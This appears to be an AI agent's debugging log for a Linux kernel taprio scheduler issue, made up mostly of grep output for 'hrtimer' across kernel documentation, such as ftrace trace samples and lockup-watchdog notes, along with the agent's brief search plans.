 Documentation/trace/ftrace.rst:1762:      bash-1994    1d.h1   13us : _raw_spin_lock <-hrtimer_interrupt
 Documentation/trace/ftrace.rst-1763-      bash-1994    1d.h1   14us : add_preempt_count <-_raw_spin_lock
 Documentation/trace/ftrace.rst:1764:      bash-1994    1d.h2   14us : ktime_get_update_offsets <-hrtimer_interrupt
 Documentation/trace/ftrace.rst-1765-  [...]
 --
 Documentation/trace/ftrace.rst=2127=Doing the same with chrt -r 5 and function-trace set.
 --
 Documentation/trace/ftrace.rst-2158-    <idle>-0       3dNh2    6us : sub_preempt_count <-_raw_spin_unlock_irqrestore
 Documentation/trace/ftrace.rst:2159:    <idle>-0       3dNh1    6us : _raw_spin_lock <-__run_hrtimer
 Documentation/trace/ftrace.rst-2160-    <idle>-0       3dNh1    6us : add_preempt_count <-_raw_spin_lock
 Documentation/trace/ftrace.rst:2161:    <idle>-0       3dNh2    7us : _raw_spin_unlock <-hrtimer_interrupt
 Documentation/trace/ftrace.rst-2162-    <idle>-0       3dNh2    7us : sub_preempt_count <-_raw_spin_unlock
 Documentation/trace/ftrace.rst:2163:    <idle>-0       3dNh1    7us : tick_program_event <-hrtimer_interrupt
 Documentation/trace/ftrace.rst-2164-    <idle>-0       3dNh1    7us : clockevents_program_event <-tick_program_event
 --
 Documentation/trace/ftrace.rst-2175-    <idle>-0       3.N.1   11us : tick_nohz_idle_exit <-cpu_idle
 Documentation/trace/ftrace.rst:2176:    <idle>-0       3dN.1   12us : menu_hrtimer_cancel <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst-2177-    <idle>-0       3dN.1   12us : ktime_get <-tick_nohz_idle_exit
 --
 Documentation/trace/ftrace.rst-2187-    <idle>-0       3dN.1   15us : touch_softlockup_watchdog <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:2188:    <idle>-0       3dN.1   15us : hrtimer_cancel <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:2189:    <idle>-0       3dN.1   15us : hrtimer_try_to_cancel <-hrtimer_cancel
 Documentation/trace/ftrace.rst:2190:    <idle>-0       3dN.1   16us : lock_hrtimer_base.isra.18 <-hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst:2191:    <idle>-0       3dN.1   16us : _raw_spin_lock_irqsave <-lock_hrtimer_base.isra.18
 Documentation/trace/ftrace.rst-2192-    <idle>-0       3dN.1   16us : add_preempt_count <-_raw_spin_lock_irqsave
 Documentation/trace/ftrace.rst:2193:    <idle>-0       3dN.2   17us : __remove_hrtimer <-remove_hrtimer.part.16
 Documentation/trace/ftrace.rst:2194:    <idle>-0       3dN.2   17us : hrtimer_force_reprogram <-__remove_hrtimer
 Documentation/trace/ftrace.rst:2195:    <idle>-0       3dN.2   17us : tick_program_event <-hrtimer_force_reprogram
 Documentation/trace/ftrace.rst-2196-    <idle>-0       3dN.2   18us : clockevents_program_event <-tick_program_event
 --
 Documentation/trace/ftrace.rst-2198-    <idle>-0       3dN.2   18us : lapic_next_event <-clockevents_program_event
 Documentation/trace/ftrace.rst:2199:    <idle>-0       3dN.2   19us : _raw_spin_unlock_irqrestore <-hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst-2200-    <idle>-0       3dN.2   19us : sub_preempt_count <-_raw_spin_unlock_irqrestore
 Documentation/trace/ftrace.rst:2201:    <idle>-0       3dN.1   19us : hrtimer_forward <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:2202:    <idle>-0       3dN.1   20us : ktime_add_safe <-hrtimer_forward
 Documentation/trace/ftrace.rst:2203:    <idle>-0       3dN.1   20us : ktime_add_safe <-hrtimer_forward
 Documentation/trace/ftrace.rst:2204:    <idle>-0       3dN.1   20us : hrtimer_start_range_ns <-hrtimer_start_expires.constprop.11
 Documentation/trace/ftrace.rst:2205:    <idle>-0       3dN.1   20us : __hrtimer_start_range_ns <-hrtimer_start_range_ns
 Documentation/trace/ftrace.rst:2206:    <idle>-0       3dN.1   21us : lock_hrtimer_base.isra.18 <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst:2207:    <idle>-0       3dN.1   21us : _raw_spin_lock_irqsave <-lock_hrtimer_base.isra.18
 Documentation/trace/ftrace.rst-2208-    <idle>-0       3dN.1   21us : add_preempt_count <-_raw_spin_lock_irqsave
 Documentation/trace/ftrace.rst:2209:    <idle>-0       3dN.2   22us : ktime_add_safe <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst:2210:    <idle>-0       3dN.2   22us : enqueue_hrtimer <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst:2211:    <idle>-0       3dN.2   22us : tick_program_event <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst-2212-    <idle>-0       3dN.2   23us : clockevents_program_event <-tick_program_event
 --
 Documentation/trace/ftrace.rst-2214-    <idle>-0       3dN.2   23us : lapic_next_event <-clockevents_program_event
 Documentation/trace/ftrace.rst:2215:    <idle>-0       3dN.2   24us : _raw_spin_unlock_irqrestore <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst-2216-    <idle>-0       3dN.2   24us : sub_preempt_count <-_raw_spin_unlock_irqrestore
 --
 Documentation/trace/ftrace.rst=2247=events.
 --
 Documentation/trace/ftrace.rst-2277-    <idle>-0       2d.h4    1us : sched_wakeup: comm=sleep pid=5882 prio=94 success=1 target_cpu=002
 Documentation/trace/ftrace.rst:2278:    <idle>-0       2dNh2    1us : hrtimer_expire_exit: hrtimer=ffff88007796feb8
 Documentation/trace/ftrace.rst-2279-    <idle>-0       2.N.2    2us : power_end: cpu_id=2
 Documentation/trace/ftrace.rst-2280-    <idle>-0       2.N.2    3us : cpu_idle: state=4294967295 cpu_id=2
 Documentation/trace/ftrace.rst:2281:    <idle>-0       2dN.3    4us : hrtimer_cancel: hrtimer=ffff88007d50d5e0
 Documentation/trace/ftrace.rst:2282:    <idle>-0       2dN.3    4us : hrtimer_start: hrtimer=ffff88007d50d5e0 function=tick_sched_timer expires=34311211000000 softexpires=34311211000000
 Documentation/trace/ftrace.rst-2283-    <idle>-0       2.N.2    5us : rcu_utilization: Start context switch
 --
 Documentation/trace/ftrace.rst=2449=single thread. For example::
 --
 Documentation/trace/ftrace.rst-2462-      yum-updatesd-3111  [003]  1637.254676: finish_task_switch <-thread_return
 Documentation/trace/ftrace.rst:2463:      yum-updatesd-3111  [003]  1637.254681: hrtimer_cancel <-schedule_hrtimeout_range
 Documentation/trace/ftrace.rst:2464:      yum-updatesd-3111  [003]  1637.254682: hrtimer_try_to_cancel <-hrtimer_cancel
 Documentation/trace/ftrace.rst:2465:      yum-updatesd-3111  [003]  1637.254683: lock_hrtimer_base <-hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst-2466-      yum-updatesd-3111  [003]  1637.254685: fget_light <-do_sys_poll
 --
 Documentation/trace/ftrace.rst=2997=listed in:
 --
 Documentation/trace/ftrace.rst-3011-
 Documentation/trace/ftrace.rst:3012:If I am only interested in sys_nanosleep and hrtimer_interrupt::
 Documentation/trace/ftrace.rst-3013-
 Documentation/trace/ftrace.rst:3014:  # echo sys_nanosleep hrtimer_interrupt > set_ftrace_filter
 Documentation/trace/ftrace.rst-3015-  # echo function > current_tracer
 --
 Documentation/trace/ftrace.rst-3031-            usleep-2665  [001] ....  4186.475355: sys_nanosleep <-system_call_fastpath
 Documentation/trace/ftrace.rst:3032:            <idle>-0     [001] d.h1  4186.475409: hrtimer_interrupt <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst:3033:            usleep-2665  [001] d.h1  4186.475426: hrtimer_interrupt <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst:3034:            <idle>-0     [003] d.h1  4186.475426: hrtimer_interrupt <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst:3035:            <idle>-0     [002] d.h1  4186.475427: hrtimer_interrupt <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst-3036-
 Documentation/trace/ftrace.rst=3037=To see which functions are being traced, you can cat the file:
 --
 Documentation/trace/ftrace.rst-3040-  # cat set_ftrace_filter
 Documentation/trace/ftrace.rst:3041:  hrtimer_interrupt
 Documentation/trace/ftrace.rst-3042-  sys_nanosleep
 --
 Documentation/trace/ftrace.rst=3045=Perhaps this is not enough. The filters also allow glob(7) matching.
 --
 Documentation/trace/ftrace.rst-3062-
 Documentation/trace/ftrace.rst:3063:  # echo 'hrtimer_*' > set_ftrace_filter
 Documentation/trace/ftrace.rst-3064-
 Documentation/trace/ftrace.rst=3065=Produces::
 --
 Documentation/trace/ftrace.rst-3077-  #              | |       |   ||||       |         |
 Documentation/trace/ftrace.rst:3078:            <idle>-0     [003] dN.1  4228.547803: hrtimer_cancel <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:3079:            <idle>-0     [003] dN.1  4228.547804: hrtimer_try_to_cancel <-hrtimer_cancel
 Documentation/trace/ftrace.rst:3080:            <idle>-0     [003] dN.2  4228.547805: hrtimer_force_reprogram <-__remove_hrtimer
 Documentation/trace/ftrace.rst:3081:            <idle>-0     [003] dN.1  4228.547805: hrtimer_forward <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:3082:            <idle>-0     [003] dN.1  4228.547805: hrtimer_start_range_ns <-hrtimer_start_expires.constprop.11
 Documentation/trace/ftrace.rst:3083:            <idle>-0     [003] d..1  4228.547858: hrtimer_get_next_event <-get_next_timer_interrupt
 Documentation/trace/ftrace.rst:3084:            <idle>-0     [003] d..1  4228.547859: hrtimer_start <-__tick_nohz_idle_enter
 Documentation/trace/ftrace.rst:3085:            <idle>-0     [003] d..2  4228.547860: hrtimer_force_reprogram <-__rem
 Documentation/trace/ftrace.rst-3086-
 Documentation/trace/ftrace.rst=3087=Notice that we lost the sys_nanosleep.
 --
 Documentation/trace/ftrace.rst-3090-  # cat set_ftrace_filter
 Documentation/trace/ftrace.rst:3091:  hrtimer_run_queues
 Documentation/trace/ftrace.rst:3092:  hrtimer_run_pending
 Documentation/trace/ftrace.rst:3093:  hrtimer_setup
 Documentation/trace/ftrace.rst:3094:  hrtimer_cancel
 Documentation/trace/ftrace.rst:3095:  hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst:3096:  hrtimer_forward
 Documentation/trace/ftrace.rst:3097:  hrtimer_start
 Documentation/trace/ftrace.rst:3098:  hrtimer_reprogram
 Documentation/trace/ftrace.rst:3099:  hrtimer_force_reprogram
 Documentation/trace/ftrace.rst:3100:  hrtimer_get_next_event
 Documentation/trace/ftrace.rst:3101:  hrtimer_interrupt
 Documentation/trace/ftrace.rst:3102:  hrtimer_nanosleep
 Documentation/trace/ftrace.rst:3103:  hrtimer_wakeup
 Documentation/trace/ftrace.rst:3104:  hrtimer_get_remaining
 Documentation/trace/ftrace.rst:3105:  hrtimer_get_res
 Documentation/trace/ftrace.rst:3106:  hrtimer_init_sleeper
 Documentation/trace/ftrace.rst-3107-
 --
 Documentation/trace/ftrace.rst=3120=Again, now we want to append.
 --
 Documentation/trace/ftrace.rst-3126-  sys_nanosleep
 Documentation/trace/ftrace.rst:3127:  # echo 'hrtimer_*' >> set_ftrace_filter
 Documentation/trace/ftrace.rst-3128-  # cat set_ftrace_filter
 Documentation/trace/ftrace.rst:3129:  hrtimer_run_queues
 Documentation/trace/ftrace.rst:3130:  hrtimer_run_pending
 Documentation/trace/ftrace.rst:3131:  hrtimer_setup
 Documentation/trace/ftrace.rst:3132:  hrtimer_cancel
 Documentation/trace/ftrace.rst:3133:  hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst:3134:  hrtimer_forward
 Documentation/trace/ftrace.rst:3135:  hrtimer_start
 Documentation/trace/ftrace.rst:3136:  hrtimer_reprogram
 Documentation/trace/ftrace.rst:3137:  hrtimer_force_reprogram
 Documentation/trace/ftrace.rst:3138:  hrtimer_get_next_event
 Documentation/trace/ftrace.rst:3139:  hrtimer_interrupt
 Documentation/trace/ftrace.rst-3140-  sys_nanosleep
 Documentation/trace/ftrace.rst:3141:  hrtimer_nanosleep
 Documentation/trace/ftrace.rst:3142:  hrtimer_wakeup
 Documentation/trace/ftrace.rst:3143:  hrtimer_get_remaining
 Documentation/trace/ftrace.rst:3144:  hrtimer_get_res
 Documentation/trace/ftrace.rst:3145:  hrtimer_init_sleeper
 Documentation/trace/ftrace.rst-3146-
 --
 Documentation/trace/timerlat-tracer.rst=142=irq disabled. For example::
 --
 Documentation/trace/timerlat-tracer.rst-155-  => timerlat_irq
 Documentation/trace/timerlat-tracer.rst:156:  => __hrtimer_run_queues
 Documentation/trace/timerlat-tracer.rst:157:  => hrtimer_interrupt
 Documentation/trace/timerlat-tracer.rst-158-  => __sysvec_apic_timer_interrupt
 --
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst=29=sysctl命令"kernel.panic"来设置），使系统在panic指定时间后自动重启。
 --
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-33-
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:34:Softlockup和hardlockup分别建立在hrtimer(高精度定时器)和perf两个子系统上而实现。
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-35-这也就意味着理论上任何架构只要实现了这两个子系统就支持这两种检测机制。
 --
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst=37=Hrtimer用于周期性产生中断并唤醒watchdog线程；NMI perf事件则以”watchdog_thresh“
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-38-(编译时默认初始化为10秒，也可通过”watchdog_thresh“这个sysctl接口来进行配置修改)
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:39:为间隔周期产生以检测 hardlockups。如果一个CPU在这个时间段内没有检测到hrtimer中
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-40-断发生，'hardlockup 检测器'(即NMI perf事件处理函数)将会视系统配置而选择产生内核
 --
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-44-如果时间戳在2*watchdog_thresh(这个是softlockup的触发门限)这段时间都未更新,那么
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:45:"softlocup 检测器"(内部hrtimer定时器回调函数)会将相关的调试信息打印到系统日志中，
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-46-然后如果系统配置了进入panic流程则进入panic，否则内核继续执行。
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-47-
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:48:Hrtimer定时器的周期是2*watchdog_thresh/5，也就是说在hardlockup被触发前hrtimer有
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-49-2~3次机会产生时钟中断。
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-50-
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:51:如上所述,内核相当于为系统管理员提供了一个可调节hrtimer定时器和perf事件周期长度
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-52-的调节旋钮。如何通过这个旋钮为特定使用场景配置一个合理的周期值要对lockups检测的
 --
]
]

gemini-3.1-pro-preview

							input: 48214
							output: 19
							thoughts: 34
						

Okay, here's my interpretation of that thought process, from a networking kernel expert's perspective:

**Investigating a `taprio` Issue**

Alright, the reproducer is utilizing the `taprio` queueing discipline. My first instinct, given the context of a kernel issue, is to dive straight into the source code. Let's start by zeroing in on the core implementation: I'm going to jump into the `net/sched/sch_taprio.c` file. That's the logical place to begin my investigation to understand how it's behaving. Hopefully I can quickly spot the problem.

no matches

map[Expression:hrtimer.*taprio]

map[Output:]

gemini-3.1-pro-preview

							input: 48413
							output: 16
							thoughts: 22
						

Okay, here's my take on those thoughts, framed as an expert's internal monologue:

**Investigating `hrtimer` Usage in `sch_taprio.c`**

Alright, I need to dive into the Time-Aware Shaper (TAPRIO) code and its relationship with the high-resolution timer. My immediate instinct is to focus on the `net/sched/sch_taprio.c` file. This tells me I'm looking for the core implementation of the TAPRIO scheduler, the place where the critical scheduling decisions are made. I suspect that the `hrtimer` is probably being used to manage the timing of traffic shaping, perhaps to enforce specific transmit windows or to implement some sort of scheduled transmission based on configured time slots. I'm going to start by searching for instances of `hrtimer` within this file to understand how it's being integrated. This will give me a good entry point to how they are using the timer. Then I'll look at surrounding code for context.

map[Expression:hrtimer]

map[Output:
Full output is too long, showing 500 out of 13251 lines.
Use more precise expression if possible.

[Documentation/ABI/testing/configfs-iio=13=Description:
 --
 Documentation/ABI/testing/configfs-iio-15-
 Documentation/ABI/testing/configfs-iio:16:What:		/config/iio/triggers/hrtimers
 Documentation/ABI/testing/configfs-iio-17-Date:		October 2015
 --
 Documentation/ABI/testing/configfs-iio=19=Description:
 Documentation/ABI/testing/configfs-iio-20-		High resolution timers directory. Creating a directory here
 Documentation/ABI/testing/configfs-iio:21:		will result in creating a hrtimer trigger in the IIO subsystem.
 Documentation/ABI/testing/configfs-iio-22-
 --
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern=17=Description:
 --
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-22-		Unlike the /sys/class/leds/<led>/pattern, this attribute runs
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern:23:		a pattern on high-resolution timer (hrtimer).
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-24-
 --
 Documentation/RCU/listRCU.rst=430=version of timerfd_release()::
 --
 Documentation/RCU/listRCU.rst-447-		else
 Documentation/RCU/listRCU.rst:448:			hrtimer_cancel(&ctx->t.tmr);
 Documentation/RCU/listRCU.rst-449-		kfree_rcu(ctx, rcu);
 --
 Documentation/RCU/listRCU.rst=453=If the ``CLOCK_REALTIME`` clock is set, for example by a time server, the
 Documentation/RCU/listRCU.rst:454:hrtimer framework calls ``timerfd_clock_was_set()`` which walks the
 Documentation/RCU/listRCU.rst-455-``cancel_list`` and wakes up processes waiting on the timerfd. While iterating
 --
 Documentation/admin-guide/kernel-parameters.txt-5912-			FIFO real-time task.  This delay is mediated
 Documentation/admin-guide/kernel-parameters.txt:5913:			by an hrtimer and is further fuzzed to avoid
 Documentation/admin-guide/kernel-parameters.txt-5914-			inadvertent synchronizations.
 --
 Documentation/admin-guide/lockup-watchdogs.rst=33=Implementation
 --
 Documentation/admin-guide/lockup-watchdogs.rst-35-
 Documentation/admin-guide/lockup-watchdogs.rst:36:The soft and hard lockup detectors are built on top of the hrtimer and
 Documentation/admin-guide/lockup-watchdogs.rst-37-perf subsystems, respectively. A direct consequence of this is that,
 --
 Documentation/admin-guide/lockup-watchdogs.rst=39=subsystems are present.
 Documentation/admin-guide/lockup-watchdogs.rst-40-
 Documentation/admin-guide/lockup-watchdogs.rst:41:A periodic hrtimer runs to generate interrupts and kick the watchdog
 Documentation/admin-guide/lockup-watchdogs.rst-42-job. An NMI perf event is generated every "watchdog_thresh"
 --
 Documentation/admin-guide/lockup-watchdogs.rst=44=same name) seconds to check for hardlockups. If any CPU in the system
 Documentation/admin-guide/lockup-watchdogs.rst:45:does not receive any hrtimer interrupt during that time the
 Documentation/admin-guide/lockup-watchdogs.rst-46-'hardlockup detector' (the handler for the NMI perf event) will
 --
 Documentation/admin-guide/lockup-watchdogs.rst=52=for 2*watchdog_thresh seconds (the softlockup threshold) the
 Documentation/admin-guide/lockup-watchdogs.rst:53:'softlockup detector' (coded inside the hrtimer callback function)
 Documentation/admin-guide/lockup-watchdogs.rst-54-will dump useful debug information to the system log, after which it
 --
 Documentation/admin-guide/lockup-watchdogs.rst=56=other kernel code.
 Documentation/admin-guide/lockup-watchdogs.rst-57-
 Documentation/admin-guide/lockup-watchdogs.rst:58:The period of the hrtimer is 2*watchdog_thresh/5, which means it has
 Documentation/admin-guide/lockup-watchdogs.rst-59-two or three chances to generate an interrupt before the hardlockup
 --
 Documentation/admin-guide/lockup-watchdogs.rst=62=As explained above, a kernel knob is provided that allows
 Documentation/admin-guide/lockup-watchdogs.rst:63:administrators to configure the period of the hrtimer and the perf
 Documentation/admin-guide/lockup-watchdogs.rst-64-event. The right value for a particular environment is a trade-off
 --
 Documentation/admin-guide/sysctl/kernel.rst=1710=watchdog_thresh
 --
 Documentation/admin-guide/sysctl/kernel.rst-1712-
 Documentation/admin-guide/sysctl/kernel.rst:1713:This value can be used to control the frequency of hrtimer and NMI
 Documentation/admin-guide/sysctl/kernel.rst-1714-events and the soft and hard lockup thresholds. The default threshold
 --
 Documentation/admin-guide/sysrq.rst=97=Command	    Function
 --
 Documentation/admin-guide/sysrq.rst-133-
 Documentation/admin-guide/sysrq.rst:134:``q``	    Will dump per CPU lists of all armed hrtimers (but NOT regular
 Documentation/admin-guide/sysrq.rst-135-            timer_list timers) and detailed information about all
 --
 Documentation/core-api/real-time/differences.rst=114=Timers
 --
 Documentation/core-api/real-time/differences.rst-116-
 Documentation/core-api/real-time/differences.rst:117:By default, an hrtimer is executed in hard interrupt context. The exception is
 Documentation/core-api/real-time/differences.rst-118-timers initialized with the HRTIMER_MODE_SOFT flag, which are executed in
 Documentation/core-api/real-time/differences.rst=119=softirq context.
 Documentation/core-api/real-time/differences.rst-120-
 Documentation/core-api/real-time/differences.rst:121:On a PREEMPT_RT kernel, this behavior is reversed: hrtimers are executed in
 Documentation/core-api/real-time/differences.rst-122-softirq context by default, typically within the ktimersd thread. This thread
 --
 Documentation/core-api/real-time/differences.rst=196=eventually succeed as that CPU makes progress.
 Documentation/core-api/real-time/differences.rst-197-
 Documentation/core-api/real-time/differences.rst:198:Some examples are hrtimer_cancel() or timer_delete_sync(). These functions
 Documentation/core-api/real-time/differences.rst-199-cancel timers that execute with interrupts or soft interrupts disabled. If a
 --
 Documentation/driver-api/basics.rst=48=High-resolution timers
 --
 Documentation/driver-api/basics.rst-53-
 Documentation/driver-api/basics.rst:54:.. kernel-doc:: include/linux/hrtimer.h
 Documentation/driver-api/basics.rst-55-   :internal:
 Documentation/driver-api/basics.rst-56-
 Documentation/driver-api/basics.rst:57:.. kernel-doc:: kernel/time/hrtimer.c
 Documentation/driver-api/basics.rst-58-   :export:
 --
 Documentation/driver-api/driver-model/design-patterns.rst=69=Continuing on the above example we add an offloaded work::
 --
 Documentation/driver-api/driver-model/design-patterns.rst-101-
 Documentation/driver-api/driver-model/design-patterns.rst:102:The design pattern is the same for an hrtimer or something similar that will
 Documentation/driver-api/driver-model/design-patterns.rst-103-return a single argument which is a pointer to a struct member in the
 --
 Documentation/gpu/vkms.rst=116=Virtual hardware (vblank-less) mode:
 Documentation/gpu/vkms.rst-117-
 Documentation/gpu/vkms.rst:118:- VKMS already has support for vblanks simulated via hrtimers, which can be
 Documentation/gpu/vkms.rst-119-  tested with kms_flip test; in some way, we can say that VKMS already mimics
 --
 Documentation/iio/iio_configfs.rst=80=We support the following interrupt sources (trigger types):
 Documentation/iio/iio_configfs.rst-81-
 Documentation/iio/iio_configfs.rst:82:	* hrtimer, uses high resolution timers as interrupt source
 Documentation/iio/iio_configfs.rst-83-
 --
 Documentation/iio/iio_configfs.rst-86-
 Documentation/iio/iio_configfs.rst:87:Loading iio-trig-hrtimer module will register hrtimer trigger types allowing
 Documentation/iio/iio_configfs.rst:88:users to create hrtimer triggers under /config/iio/triggers/hrtimer.
 Documentation/iio/iio_configfs.rst-89-
 Documentation/iio/iio_configfs.rst=90=e.g::
 Documentation/iio/iio_configfs.rst-91-
 Documentation/iio/iio_configfs.rst:92:  $ mkdir /config/iio/triggers/hrtimer/instance1
 Documentation/iio/iio_configfs.rst:93:  $ rmdir /config/iio/triggers/hrtimer/instance1
 Documentation/iio/iio_configfs.rst-94-
 Documentation/iio/iio_configfs.rst=95=Each trigger can have one or more attributes specific to the trigger type.
 Documentation/iio/iio_configfs.rst-96-
 Documentation/iio/iio_configfs.rst:97:3.2 "hrtimer" trigger types attributes
 Documentation/iio/iio_configfs.rst-98---------------------------------------
 Documentation/iio/iio_configfs.rst-99-
 Documentation/iio/iio_configfs.rst:100:"hrtimer" trigger type doesn't have any configurable attribute from /config dir.
 Documentation/iio/iio_configfs.rst-101-It does introduce the sampling_frequency attribute to trigger directory.
 --
 Documentation/input/devices/walkera0701.rst=55=Driver use interrupt from parport ACK input bit to measure pulse length
 Documentation/input/devices/walkera0701.rst:56:using hrtimers.
 Documentation/input/devices/walkera0701.rst-57-
 --
 Documentation/networking/net_cachelines/tcp_sock.rst=115=u32                           sacked_out              read_mostly         read_mostly         tcp_left_out(tx);tcp_packets_in_flight(tx/rx);tcp_clean_rtx_queue(rx)
 Documentation/networking/net_cachelines/tcp_sock.rst:116:struct hrtimer                pacing_timer
 Documentation/networking/net_cachelines/tcp_sock.rst:117:struct hrtimer                compressed_ack_timer
 Documentation/networking/net_cachelines/tcp_sock.rst-118-struct sk_buff*               retransmit_skb_hint     read_mostly                             tcp_clean_rtx_queue
 --
 Documentation/process/debugging/gdb-kernel-debugging.rst=71=Examples of using the Linux-provided gdb helpers
 --
 Documentation/process/debugging/gdb-kernel-debugging.rst-134-
 Documentation/process/debugging/gdb-kernel-debugging.rst:135:- Dig into hrtimers using the container_of helper::
 Documentation/process/debugging/gdb-kernel-debugging.rst-136-
 Documentation/process/debugging/gdb-kernel-debugging.rst:137:    (gdb) set $leftmost = $lx_per_cpu(hrtimer_bases).clock_base[0].active.rb_root.rb_leftmost
 Documentation/process/debugging/gdb-kernel-debugging.rst:138:    (gdb) p *$container_of($leftmost, "struct hrtimer", "node")
 Documentation/process/debugging/gdb-kernel-debugging.rst-139-    $5 = {
 --
 Documentation/scheduler/sched-rt-group.rst=24=Most notable:
 --
 Documentation/scheduler/sched-rt-group.rst-26- * very small values in sched_rt_period_us can result in an unstable
 Documentation/scheduler/sched-rt-group.rst:27:   system when the period is smaller than either the available hrtimer
 Documentation/scheduler/sched-rt-group.rst-28-   resolution, or the time it takes to handle the budget refresh itself.
 --
 Documentation/sound/alsa-configuration.rst=702=pcm_substreams
 Documentation/sound/alsa-configuration.rst-703-    Number of PCM substreams assigned to each PCM (default = 8, up to 128)
 Documentation/sound/alsa-configuration.rst:704:hrtimer
 Documentation/sound/alsa-configuration.rst:705:    Use hrtimer (=1, default) or system timer (=0)
 Documentation/sound/alsa-configuration.rst-706-fake_buffer
 --
 Documentation/timers/delay_sleep_functions.rst=15=reading of the function description before usage!
 --
 Documentation/timers/delay_sleep_functions.rst-27-     - busy-wait loop
 Documentation/timers/delay_sleep_functions.rst:28:     - hrtimers based
 Documentation/timers/delay_sleep_functions.rst-29-     - timer list timers based
 --
 Documentation/timers/delay_sleep_functions.rst=72=required?
 --
 Documentation/timers/delay_sleep_functions.rst-83-
 Documentation/timers/delay_sleep_functions.rst:84:These functions use hrtimers or timer list timers to provide the requested
 Documentation/timers/delay_sleep_functions.rst-85-sleeping duration. In order to decide which function is the right one to use,
 Documentation/timers/delay_sleep_functions.rst=86=take some basic information into account:
 Documentation/timers/delay_sleep_functions.rst-87-
 Documentation/timers/delay_sleep_functions.rst:88:#. hrtimers are more expensive as they are using an rb-tree (instead of hashing)
 Documentation/timers/delay_sleep_functions.rst:89:#. hrtimers are more expensive when the requested sleeping duration is the first
 Documentation/timers/delay_sleep_functions.rst-90-   timer which means real hardware has to be programmed
 --
 Documentation/timers/highres.rst=2=High resolution timers and dynamic ticks design notes
 --
 Documentation/timers/highres.rst-4-
 Documentation/timers/highres.rst:5:Further information can be found in the paper of the OLS 2006 talk "hrtimers
 Documentation/timers/highres.rst-6-and beyond". The paper is part of the OLS 2006 Proceedings Volume 1, which can
 --
 Documentation/timers/highres.rst=10=The slides to this talk are available from:
 Documentation/timers/highres.rst:11:http://www.cs.columbia.edu/~nahum/w6998/papers/ols2006-hrtimers-slides.pdf
 Documentation/timers/highres.rst-12-
 --
 Documentation/timers/highres.rst=14=changes in the time(r) related Linux subsystems. Figure #1 (p. 2) shows the
 Documentation/timers/highres.rst:15:design of the Linux time(r) system before hrtimers and other building blocks
 Documentation/timers/highres.rst-16-got merged into mainline.
 --
 Documentation/timers/highres.rst=21=The design contains the following basic building blocks:
 Documentation/timers/highres.rst-22-
 Documentation/timers/highres.rst:23:- hrtimer base infrastructure
 Documentation/timers/highres.rst-24-- timeofday and clock source management
 --
 Documentation/timers/highres.rst-29-
 Documentation/timers/highres.rst:30:hrtimer base infrastructure
 Documentation/timers/highres.rst-31----------------------------
 Documentation/timers/highres.rst-32-
 Documentation/timers/highres.rst:33:The hrtimer base infrastructure was merged into the 2.6.16 kernel. Details of
 Documentation/timers/highres.rst:34:the base implementation are covered in Documentation/timers/hrtimers.rst. See
 Documentation/timers/highres.rst-35-also figure #2 (OLS slides p. 15)
 --
 Documentation/timers/highres.rst=147=useful function. The initialization of the clock event device framework, the
 Documentation/timers/highres.rst:148:clock source framework (GTOD) and hrtimers itself has to be done and
 Documentation/timers/highres.rst-149-appropriate clock sources and clock event devices have to be registered before
 Documentation/timers/highres.rst:150:the high resolution functionality can work. Up to the point where hrtimers are
 Documentation/timers/highres.rst-151-initialized, the system works in the usual low resolution periodic mode. The
 Documentation/timers/highres.rst=152=clock source and the clock event device layers provide notification functions
 Documentation/timers/highres.rst:153:which inform hrtimers about availability of new hardware. hrtimers validates
 Documentation/timers/highres.rst-154-the usability of the registered clock sources and clock event devices before
 --
 Documentation/timers/highres.rst=176=red-black tree to a separate double linked list and invokes the softirq
 Documentation/timers/highres.rst:177:handler. An additional mode field in the hrtimer structure allows the system to
 Documentation/timers/highres.rst-178-execute callback functions directly from the next event interrupt handler. This
 --
 Documentation/timers/highres.rst=188=e.g. the PIT on i386 SMP systems.
 Documentation/timers/highres.rst-189-
 Documentation/timers/highres.rst:190:The periodic tick functionality is provided by an per-cpu hrtimer. The callback
 Documentation/timers/highres.rst-191-function is executed in the next event interrupt context and updates jiffies
 Documentation/timers/highres.rst:192:and calls update_process_times and profiling. The implementation of the hrtimer
